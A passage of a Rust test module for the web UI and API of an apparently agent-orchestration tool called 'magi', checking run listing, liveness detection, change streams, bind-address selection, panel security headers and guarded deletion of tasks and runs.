6687 Questions::at(home.path().join("questions")),
6688 Talks::at(home.path().join("talks")),
6689 runs,
6690 home.path().to_path_buf(),
6691 PathBuf::from("/repo/magi"),
6692 )
6693 .with_worktrees_root(home.path().join("wt"))
6694 .with_launch(launch_knocking_on_the_way_out);
6695 let looping = ui.looping();
6696 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6697 .await
6698 .expect("bind loopback");
6699 let addr = listener.local_addr().expect("local addr");
6700 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6701 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6702
6703 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6704 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6705
6706 let bound = std::sync::Mutex::new(None);
6709 hand_over(home.path(), &looping, served, || {
6710 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6711 *bound.lock().expect("bound") = Some(attempt);
6712 Ok(())
6713 })
6714 .await
6715 .expect("hand over");
6716
6717 assert_eq!(
6718 *PARK_HEARD.lock().expect("park heard"),
6719 Some(200),
6720 "the deck must answer while the loop is parking"
6721 );
6722 let attempt = bound
6723 .lock()
6724 .expect("bound")
6725 .take()
6726 .expect("the successor was started");
6727 assert!(
6728 attempt.is_ok(),
6729 "and the address must be free by the time it is: {attempt:?}"
6730 );
6731 }
6732
6733 #[tokio::test]
6734 async fn a_newer_daemon_status_file_still_renders() {
6735 let f = Fixture::start().await;
6736 std::fs::write(
6739 f.home.path().join("daemon.json"),
6740 serde_json::json!({
6741 "schema": 2,
6742 "updated_at": Timestamp::now().to_string(),
6743 "idle": true,
6744 "surprise": { "nested": [1, 2, 3] },
6745 })
6746 .to_string(),
6747 )
6748 .expect("write daemon.json");
6749
6750 let health = f.get("/api/health").await;
6751
6752 assert_eq!(health.status, 200);
6753 assert_eq!(health.json()["daemon"]["running"], true);
6754 }
6755
6756 #[tokio::test]
6757 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6758 let f = Fixture::start().await;
6759 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6760 let broken = f.runs().join("20260902-140502-bad");
6761 std::fs::create_dir_all(&broken).expect("run dir");
6762 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6763
6764 let list = f.get("/api/runs").await;
6765 let detail = f.get("/api/runs/20260902-140502-bad").await;
6766
6767 assert_eq!(list.status, 200);
6768 let listed = list.json();
6769 let ids: Vec<&str> = listed
6770 .as_array()
6771 .expect("an array")
6772 .iter()
6773 .map(|r| r["id"].as_str().expect("an id"))
6774 .collect();
6775 assert_eq!(
6776 ids,
6777 vec!["20260902-140501-good"],
6778 "one unreadable run must not cost the operator the whole history"
6779 );
6780 assert_eq!(detail.status, 500);
6781 assert!(
6782 detail.json()["error"]
6783 .as_str()
6784 .is_some_and(|e| e.contains("run.json")),
6785 "the failure names the file to look at: {}",
6786 detail.body
6787 );
6788 let health = f.get("/api/health").await;
6792 assert_eq!(health.json()["runs_unreadable"], 1);
6793 }
6794
6795 #[tokio::test]
6796 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6797 let f = Fixture::start().await;
6798 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6799
6800 let summary = f.get("/api/runs").await.json();
6801 let row = &summary[0];
6802 assert_eq!(row["short"], "a1b2");
6803 assert_eq!(row["status"], "ready");
6804 assert_eq!(row["done"], true);
6805 assert_eq!(row["title"], "Add a web UI");
6806 assert_eq!(row["repo_name"], "magi");
6807 assert_eq!(row["judges"], 3);
6808 assert_eq!(row["winner"], Value::Null);
6809 assert_eq!(row["reviews"], 0);
6810
6811 let detail = f.get("/api/runs/a1b2").await;
6814 assert_eq!(detail.status, 200);
6815 assert_eq!(detail.json()["base_branch"], "main");
6816 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6817 }
6818
6819 #[tokio::test]
6827 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6828 let f = Fixture::start().await;
6829
6830 let mut none_run = RunState::new(
6831 PathBuf::from("/repo/magi"),
6832 "main".to_owned(),
6833 "0123456789abcdef".to_owned(),
6834 "Add a web UI".to_owned(),
6835 Config::default(),
6836 );
6837 none_run.id = "20260902-140503-none".to_owned();
6838 none_run.status = RunStatus::Ready;
6839 none_run.merge = Some(crate::run::MergeOutcome {
6840 mode: crate::config::MergeMode::None,
6841 ok: true,
6842 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
6843 });
6844 write_state(&f.runs(), &none_run);
6845
6846 let mut pr_run = RunState::new(
6847 PathBuf::from("/repo/magi"),
6848 "main".to_owned(),
6849 "0123456789abcdef".to_owned(),
6850 "Add a web UI".to_owned(),
6851 Config::default(),
6852 );
6853 pr_run.id = "20260902-140504-prcl".to_owned();
6854 pr_run.status = RunStatus::Ready;
6855 pr_run.merge = Some(crate::run::MergeOutcome {
6856 mode: crate::config::MergeMode::Pr,
6857 ok: false,
6858 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
6859 });
6860 write_state(&f.runs(), &pr_run);
6861
6862 let summary = f.get("/api/runs").await.json();
6863 let rows: std::collections::HashMap<&str, &Value> = summary
6864 .as_array()
6865 .expect("an array")
6866 .iter()
6867 .map(|r| (r["id"].as_str().expect("an id"), r))
6868 .collect();
6869 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
6870 assert_eq!(
6871 rows[none_run.id.as_str()]["unmerged_by_design"],
6872 true,
6873 "a mode-none Ready must be flagged in the list"
6874 );
6875 assert_eq!(
6876 rows[pr_run.id.as_str()]["unmerged_by_design"],
6877 false,
6878 "a Ready reached by a closed pull request is a different case"
6879 );
6880
6881 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
6882 assert_eq!(none_detail["status"], "ready");
6883 assert_eq!(none_detail["unmerged_by_design"], true);
6884
6885 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
6886 assert_eq!(pr_detail["unmerged_by_design"], false);
6887 }
6888
6889 #[tokio::test]
6894 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6895 let f = Fixture::start().await;
6896 let id = "20260902-140502-bbbb";
6900 let mut state = RunState::new(
6901 PathBuf::from("/repo/magi"),
6902 "main".to_owned(),
6903 "0123456789abcdef".to_owned(),
6904 "Add a web UI".to_owned(),
6905 Config::default(),
6906 );
6907 state.id = id.to_owned();
6908 state.status = RunStatus::Judging;
6909 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6910 let dir = f.runs().join(id);
6911 std::fs::create_dir_all(&dir).expect("run dir");
6912 std::fs::write(
6913 dir.join("run.json"),
6914 serde_json::to_string_pretty(&state).expect("serialize run"),
6915 )
6916 .expect("write run.json");
6917
6918 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6924 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6925 assert_eq!(cold["live"], "unknown", "{cold}");
6926
6927 write_daemon(f.home.path(), Timestamp::now());
6930 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6931 assert_eq!(warm["live"], "live", "{warm}");
6932 }
6933
6934 #[tokio::test]
6941 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
6942 let f = Fixture::start().await;
6943 let id = "20260922-090000-cccc";
6944 let mut state = RunState::new(
6945 PathBuf::from("/repo/magi"),
6946 "main".to_owned(),
6947 "0123456789abcdef".to_owned(),
6948 "Review only".to_owned(),
6949 Config::default(),
6950 );
6951 state.id = id.to_owned();
6952 state.status = RunStatus::Reviewing;
6953 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
6954 state.driver_pid = Some(std::process::id());
6960 state.driver_started_at = Some(
6961 crate::proc::process_started_at(std::process::id())
6962 .expect("this test process's own start time must be queryable"),
6963 );
6964 let dir = f.runs().join(id);
6965 std::fs::create_dir_all(&dir).expect("run dir");
6966 std::fs::write(
6967 dir.join("run.json"),
6968 serde_json::to_string_pretty(&state).expect("serialize run"),
6969 )
6970 .expect("write run.json");
6971
6972 let detail = f.get(&format!("/api/runs/{id}")).await.json();
6973 assert_eq!(detail["live"], "live", "{detail}");
6974 }
6975
6976 #[tokio::test]
6982 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
6983 let f = Fixture::start().await;
6984 let id = "20260922-090100-dddd";
6985 let mut state = RunState::new(
6986 PathBuf::from("/repo/magi"),
6987 "main".to_owned(),
6988 "0123456789abcdef".to_owned(),
6989 "Review only".to_owned(),
6990 Config::default(),
6991 );
6992 state.id = id.to_owned();
6993 state.status = RunStatus::Reviewing;
6994 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
6995 state.driver_pid = Some(std::process::id());
7000 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7001 let dir = f.runs().join(id);
7002 std::fs::create_dir_all(&dir).expect("run dir");
7003 std::fs::write(
7004 dir.join("run.json"),
7005 serde_json::to_string_pretty(&state).expect("serialize run"),
7006 )
7007 .expect("write run.json");
7008
7009 let detail = f.get(&format!("/api/runs/{id}")).await.json();
7010 assert_eq!(detail["live"], "dead", "{detail}");
7011 }
7012
7013 #[test]
7017 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7018 let mut state = RunState::new(
7019 PathBuf::from("/repo/magi"),
7020 "main".to_owned(),
7021 "0123456789abcdef".to_owned(),
7022 "Review only".to_owned(),
7023 Config::default(),
7024 );
7025 state.id = "20260922-090200-dead".to_owned();
7026 state.status = RunStatus::Reviewing;
7027 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
7028 .expect("serialize list row");
7029 assert_eq!(row["status"], "reviewing");
7030 assert_eq!(row["live"], "dead", "{row}");
7031 assert!(!row["done"].as_bool().unwrap());
7032 }
7033
7034 #[tokio::test]
7035 async fn the_run_list_is_newest_first_and_honours_a_limit() {
7036 let f = Fixture::start().await;
7037 for id in [
7038 "20260902-140501-aaaa",
7039 "20260902-140502-bbbb",
7040 "20260902-140503-cccc",
7041 ] {
7042 write_run(&f.runs(), id, RunStatus::Merged);
7043 }
7044
7045 let all = f.get("/api/runs").await.json();
7046 let capped = f.get("/api/runs?limit=2").await.json();
7047
7048 assert_eq!(all[0]["id"], "20260902-140503-cccc");
7049 assert_eq!(all.as_array().map(Vec::len), Some(3));
7050 assert_eq!(capped.as_array().map(Vec::len), Some(2));
7051 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7052 }
7053
7054 #[tokio::test]
7055 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7056 let f = Fixture::start().await;
7057 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7058
7059 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7060
7061 assert_eq!(res.status, 200);
7062 assert!(
7063 res.headers
7064 .contains("content-type: text/plain; charset=utf-8"),
7065 "a browser must render it, not download it: {}",
7066 res.headers
7067 );
7068 assert!(
7072 res.body.contains("20260902-140501-a1b2"),
7073 "the report is about the run that was asked for: {}",
7074 res.body
7075 );
7076 }
7077
7078 #[tokio::test]
7079 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7080 let f = Fixture::start().await;
7081
7082 let html = f.get("/").await;
7083 let css = f.get("/app.css").await;
7084 let js = f.get("/app.js").await;
7085
7086 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7087 assert!(
7088 html.headers
7089 .contains("content-type: text/html; charset=utf-8")
7090 );
7091 assert!(css.headers.contains("content-type: text/css"));
7092 assert!(js.headers.contains("content-type: text/javascript"));
7093 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7094 }
7095
7096 #[test]
7097 fn review_rounds_label_a_distinct_verified_head() {
7098 assert!(APP_JS.contains("round.verified_head"));
7099 assert!(APP_JS.contains("verified HEAD"));
7100 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7101 }
7102
7103 #[test]
7104 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7105 assert!(APP_JS.contains("blocked: { glyph:"));
7109 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7110
7111 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7115 assert!(
7116 APP_JS.contains(
7117 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7118 ),
7119 "the note line must name what a blocked task is waiting on, not just that it is blocked"
7120 );
7121 assert!(APP_JS.contains("if (status === \"blocked\") {"));
7125
7126 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
7130 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
7131 assert!(
7132 APP_JS.contains("location.hash = \"#/questions\";"),
7133 "a question node must jump to the Questions screen, not pretend to be a task"
7134 );
7135
7136 assert!(APP_JS.contains("Resolved questions"));
7139 assert!(APP_JS.contains("r.answersList.append("));
7140 assert!(APP_CSS.contains(".task-answers"));
7141 }
7142
7143 #[test]
7144 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
7145 assert!(
7146 APP_JS.contains("round.verified_head !== round.head"),
7147 "a round that verified an earlier commit must be visibly distinct from one that \
7148 verified the head reviewers are looking at now"
7149 );
7150 assert!(
7151 APP_JS.contains("round.verified_at"),
7152 "when a check ran must be on the wire, not just which commit"
7153 );
7154 assert!(
7155 APP_JS.contains("resource_blocked"),
7156 "a command magi never got to run (shared build cache contention) must not render \
7157 the same as a command that ran and failed"
7158 );
7159 }
7160
7161 #[tokio::test]
7162 async fn the_change_stream_announces_the_current_revisions_on_connect() {
7163 let f = Fixture::start().await;
7164
7165 let mut socket = tokio::net::TcpStream::connect(f.addr)
7166 .await
7167 .expect("connect");
7168 socket
7169 .write_all(
7170 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7171 )
7172 .await
7173 .expect("write request");
7174
7175 let mut seen = String::new();
7178 let mut buf = [0u8; 1024];
7179 while !seen.contains("event: change") {
7180 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7181 .await
7182 .expect("the stream must speak within five seconds")
7183 .expect("read");
7184 assert!(read > 0, "the server closed the change stream: {seen}");
7185 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7186 }
7187
7188 assert!(
7189 seen.to_lowercase()
7190 .contains("content-type: text/event-stream"),
7191 "the browser only reconnects automatically for a real SSE stream: {seen}"
7192 );
7193 let data = seen
7194 .lines()
7195 .find_map(|l| l.strip_prefix("data:"))
7196 .expect("a data line");
7197 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7198 assert!(
7199 payload["queue_rev"].is_u64()
7200 && payload["runs_rev"].is_u64()
7201 && payload["questions_rev"].is_u64()
7202 && payload["talks_rev"].is_u64()
7203 && payload["loop_rev"].is_u64(),
7204 "the client needs one revision per store to know what to refetch, \
7205 and `talks_rev` is the only notification a standing talk gets - a \
7206 phone whose radio slept through a turn learns about it here, as \
7207 does one whose operator started the loop from another device: \
7208 {payload}"
7209 );
7210
7211 let health = f.get("/api/health").await.json();
7218 for key in [
7219 "queue_rev",
7220 "runs_rev",
7221 "questions_rev",
7222 "talks_rev",
7223 "loop_rev",
7224 ] {
7225 assert!(
7226 health[key].is_u64(),
7227 "health is the change stream's fallback and is missing `{key}`: {health}"
7228 );
7229 }
7230 }
7231
7232 #[tokio::test]
7233 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7234 let f = Fixture::start().await;
7235 let before = f.get("/api/health").await.json()["talks_rev"]
7236 .as_u64()
7237 .expect("talks_rev");
7238
7239 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7240 std::thread::sleep(Duration::from_millis(10));
7241 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7242 on_disk.turns.push(crate::talk::Turn {
7243 who: crate::talk::Who::Operator,
7244 body: "a new turn".to_owned(),
7245 at: Timestamp::now(),
7246 attachments: Vec::new(),
7247 });
7248 f.talks().put(&mut on_disk).expect("record a turn");
7249
7250 let after = f.get("/api/health").await.json()["talks_rev"]
7251 .as_u64()
7252 .expect("talks_rev");
7253 assert_ne!(
7254 before, after,
7255 "a phone must be able to notice a talk's reply without polling every store"
7256 );
7257 }
7258
7259 #[test]
7260 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7261 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7265 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7266 }
7267 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7268 assert!("everywhere".parse::<Bind>().is_err());
7269 }
7270
7271 #[test]
7272 fn an_explicit_bind_address_is_taken_verbatim() {
7273 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7274
7275 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7276
7277 assert_eq!(addr, asked);
7278 assert!(
7279 warning.is_none(),
7280 "an operator who named an address gets no lecture"
7281 );
7282 }
7283
7284 #[test]
7285 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7286 let (addr, warning) = resolve_bind(&Bind::Auto);
7287
7288 match addr {
7295 IpAddr::V4(ip) if is_tailnet(&ip) => {
7296 assert!(warning.is_none(), "a tailnet address needs no warning");
7297 }
7298 other => {
7299 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7300 let warning = warning.expect("a fallback has to explain itself");
7301 assert!(
7302 warning.contains("127.0.0.1") && warning.contains("local-only"),
7303 "the warning says what happened and what it costs: {warning}"
7304 );
7305 }
7306 }
7307 }
7308
7309 #[test]
7310 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7311 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7315 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7316 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7317 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7318 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7319 }
7320
7321 #[test]
7322 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7323 let ids = vec![
7324 "20260902-140501-aaaa".to_owned(),
7325 "20260902-140502-aabb".to_owned(),
7326 ];
7327
7328 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7329 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7330 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7331
7332 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7333 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7334 assert_eq!(short, "20260902-140502-aabb");
7335 }
7336 #[tokio::test]
7337 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7338 let fx = Fixture::start().await;
7344 let id = panel(
7345 &fx,
7346 "<img src=\"shot.png\">",
7347 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7348 );
7349
7350 let doc = fx
7352 .get(&format!("/api/questions/{id}/panel/index.html"))
7353 .await;
7354 assert_eq!(doc.status, 200, "{}", doc.body);
7355 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7356
7357 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7358 assert_eq!(sibling.status, 200, "{}", sibling.body);
7359 assert_eq!(sibling.header("content-type"), Some("image/png"));
7360 assert_eq!(
7361 sibling.header("content-security-policy"),
7362 Some(PANEL_CSP),
7363 "the sibling route must carry the same policy as the asset route"
7364 );
7365
7366 assert_eq!(
7369 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7370 200
7371 );
7372 }
7373
7374 #[test]
7375 fn runs_revision_moves_when_deleting_an_older_run() {
7376 let temp = TempDir::new().expect("tempdir");
7377 let runs = temp.path().join("runs");
7378 std::fs::create_dir_all(&runs).expect("create runs dir");
7379
7380 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7381
7382 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7383 std::thread::sleep(Duration::from_millis(10));
7384 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7385
7386 let rev_before = runs_revision(&runs);
7387 assert!(rev_before > 0);
7388
7389 let old_dir = runs.join("20260901-100000-old1");
7390 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7391
7392 let rev_after = runs_revision(&runs);
7393 assert_ne!(
7394 rev_before, rev_after,
7395 "deleting an older run must change the revision so other clients see the deletion"
7396 );
7397 }
7398
7399 fn write_state(runs: &FsPath, state: &RunState) {
7404 let dir = runs.join(&state.id);
7405 std::fs::create_dir_all(&dir).expect("run dir");
7406 std::fs::write(
7407 dir.join("run.json"),
7408 serde_json::to_string_pretty(state).expect("serialize run"),
7409 )
7410 .expect("write run.json");
7411 }
7412
7413 #[test]
7418 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7419 let temp = TempDir::new().expect("tempdir");
7420 let runs = temp.path().join("runs");
7421 std::fs::create_dir_all(&runs).expect("create runs dir");
7422 let mut state = RunState::new(
7423 PathBuf::from("/repo/magi"),
7424 "main".to_owned(),
7425 "0123456789abcdef".to_owned(),
7426 "task".to_owned(),
7427 Config::default(),
7428 );
7429 state.id = "20260902-100000-c0de".to_owned();
7430 write_state(&runs, &state);
7431
7432 let rev_idle = runs_revision(&runs);
7433 std::thread::sleep(Duration::from_millis(10));
7434 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7435 write_state(&runs, &state);
7436 let rev_started = runs_revision(&runs);
7437 assert_ne!(
7438 rev_idle, rev_started,
7439 "a seat starting must move the revision"
7440 );
7441
7442 std::thread::sleep(Duration::from_millis(10));
7443 state.seat_finished("judge-1");
7444 write_state(&runs, &state);
7445 let rev_finished = runs_revision(&runs);
7446 assert_ne!(
7447 rev_started, rev_finished,
7448 "and clearing it again must move the revision a second time"
7449 );
7450 }
7451
7452 #[tokio::test]
7453 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
7454 let fx = Fixture::start().await;
7459 let q = fx.queue();
7460
7461 let mut t = Task::new(
7462 "Task".to_owned(),
7463 "Instruction".to_owned(),
7464 PathBuf::from("/repo"),
7465 Source::Human,
7466 );
7467 t.block(
7468 vec!["20260101-000000-dead".to_owned()],
7469 Some("waiting on Task 1".to_owned()),
7470 );
7471 t.answers.push(crate::queue::AnsweredQuestion {
7472 question: "Which backend?".to_owned(),
7473 answer: "SQLite".to_owned(),
7474 });
7475 q.put(&mut t).expect("put t");
7476
7477 let res = fx.get("/api/queue").await;
7478 assert_eq!(res.status, 200);
7479 let list = res.json();
7480 let view = list
7481 .as_array()
7482 .expect("array")
7483 .iter()
7484 .find(|v| v["id"] == t.id)
7485 .expect("task in list");
7486 assert_eq!(view["status_str"], "blocked");
7487 assert_eq!(
7488 view["blocked_by"],
7489 serde_json::json!(["20260101-000000-dead"])
7490 );
7491 assert_eq!(view["block_reason"], "waiting on Task 1");
7492 assert_eq!(view["answers"][0]["question"], "Which backend?");
7493 assert_eq!(view["answers"][0]["answer"], "SQLite");
7494
7495 let res = fx
7499 .post(&format!("/api/queue/{}/hold", t.short()), None)
7500 .await;
7501 assert_eq!(res.status, 200);
7502 let held = res.json();
7503 assert_eq!(held["status_str"], "held");
7504 assert_eq!(held["blocked_by"], serde_json::json!([]));
7505 assert!(held["block_reason"].is_null());
7506 assert_eq!(held["answers"][0]["answer"], "SQLite");
7507 }
7508
7509 #[tokio::test]
7510 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7511 let fx = Fixture::start().await;
7512 let q = fx.queue();
7513
7514 let mut t1 = Task::new(
7516 "Task 1".to_owned(),
7517 "Instruction 1".to_owned(),
7518 PathBuf::from("/repo"),
7519 Source::Human,
7520 );
7521 let run_id = "20260901-000000-r111";
7522 t1.runs.push(run_id.to_owned());
7523 write_run(&fx.runs(), run_id, RunStatus::Merged);
7524 q.put(&mut t1).expect("put t1");
7525
7526 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7528 assert_eq!(res.status, 204);
7529 assert!(res.body.is_empty(), "204 No Content has no body");
7530 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7531 assert!(
7532 fx.runs().join(run_id).exists(),
7533 "run directory must not be deleted when its task is deleted"
7534 );
7535
7536 let mut t2 = Task::new(
7538 "Task 2".to_owned(),
7539 "Instruction 2".to_owned(),
7540 PathBuf::from("/repo"),
7541 Source::Human,
7542 );
7543 t2.status = TaskStatus::Running;
7544 q.put(&mut t2).expect("put t2");
7545 let mut beat = crate::daemon::Status::new();
7546 beat.current = vec![crate::daemon::Current {
7547 task: t2.id.clone(),
7548 run: "20260901-000000-r222".to_owned(),
7549 }];
7550 beat.updated_at = jiff::Timestamp::now();
7551 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7552 .expect("publish a heartbeat");
7553 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7554 assert_eq!(res.status, 409);
7555 assert!(
7556 res.json()["error"]
7557 .as_str()
7558 .unwrap()
7559 .contains("live daemon")
7560 );
7561 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7562
7563 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7569 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7570 .expect("leave a stale heartbeat");
7571 let mut t3 = Task::new(
7572 "Task 3".to_owned(),
7573 "Instruction 3".to_owned(),
7574 PathBuf::from("/repo"),
7575 Source::Human,
7576 );
7577 t3.status = TaskStatus::Running;
7578 q.put(&mut t3).expect("put t3");
7579 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7580 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7581 assert_eq!(res.status, 204);
7582 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7583 assert!(
7584 q.claim(&t3.id).is_ok(),
7585 "the stale lock went with it, so the id is claimable again"
7586 );
7587
7588 let res = fx.delete("/api/queue/nonexistent").await;
7590 assert_eq!(res.status, 404);
7591 }
7592
7593 #[tokio::test]
7594 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7595 let fx = Fixture::start().await;
7596 let runs = fx.runs();
7597
7598 let run_id = "20260901-000000-fold";
7600 let mut state = RunState::new(
7601 PathBuf::from("/repo"),
7602 "main".to_owned(),
7603 "abc".to_owned(),
7604 "instruction".to_owned(),
7605 Config::default(),
7606 );
7607 state.id = run_id.to_owned();
7608 state.status = RunStatus::Merged;
7609 state.candidates.push(crate::run::Candidate {
7610 index: 0,
7611 label: 'A',
7612 agent: "a".to_owned(),
7613 branch: "b".to_owned(),
7614 worktree: PathBuf::from("/w"),
7615 summary: String::new(),
7616 stat: String::new(),
7617 files: 1,
7618 commits: 1,
7619 empty: false,
7620 failed: None,
7621 verified_noop: None,
7622 duration_ms: 0,
7623 folded: true,
7624 });
7625 let dir = runs.join(run_id);
7626 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7627 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7628 .expect("write artifact");
7629 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7630 .expect("write run.json");
7631
7632 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7634 assert_eq!(res.status, 204);
7635 assert!(res.body.is_empty(), "204 has no body");
7636 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7637
7638 let run_running = "20260901-000000-rung";
7643 write_run(&runs, run_running, RunStatus::Prep);
7644 let mut beat = crate::daemon::Status::new();
7645 beat.current = vec![crate::daemon::Current {
7646 task: "20260901-000000-task".to_owned(),
7647 run: run_running.to_owned(),
7648 }];
7649 beat.updated_at = jiff::Timestamp::now();
7650 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7651 .expect("publish a heartbeat");
7652 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7653 assert_eq!(res.status, 409);
7654 assert!(
7655 res.json()["error"]
7656 .as_str()
7657 .unwrap()
7658 .contains("live daemon"),
7659 "the refusal must say who is holding it"
7660 );
7661 assert!(
7662 runs.join(run_running).exists(),
7663 "a run in flight keeps its directory"
7664 );
7665
7666 let run_unfolded = "20260901-000000-unfd";
7668 let mut state2 = RunState::new(
7669 PathBuf::from("/repo"),
7670 "main".to_owned(),
7671 "abc".to_owned(),
7672 "instruction".to_owned(),
7673 Config::default(),
7674 );
7675 state2.id = run_unfolded.to_owned();
7676 state2.status = RunStatus::Ready;
7677 state2.candidates.push(crate::run::Candidate {
7678 index: 0,
7679 label: 'A',
7680 agent: "a".to_owned(),
7681 branch: "b".to_owned(),
7682 worktree: PathBuf::from("/w"),
7683 summary: String::new(),
7684 stat: String::new(),
7685 files: 1,
7686 commits: 1,
7687 empty: false,
7688 failed: None,
7689 verified_noop: None,
7690 duration_ms: 0,
7691 folded: false,
7692 });
7693 let dir2 = runs.join(run_unfolded);
7694 std::fs::create_dir_all(&dir2).expect("create dir2");
7695 std::fs::write(
7696 dir2.join("run.json"),
7697 serde_json::to_string(&state2).unwrap(),
7698 )
7699 .expect("write run.json");
7700
7701 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7702 assert_eq!(res.status, 409);
7703 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7704 assert!(dir2.exists(), "unfolded run directory is kept");
7705
7706 let res = fx.delete("/api/runs/nonexistent").await;
7708 assert_eq!(res.status, 404);
7709 }
7710
7711 #[test]
7712 fn web_ui_delete_contract_in_front_end() {
7713 assert!(APP_JS.contains("deleteRun:"));
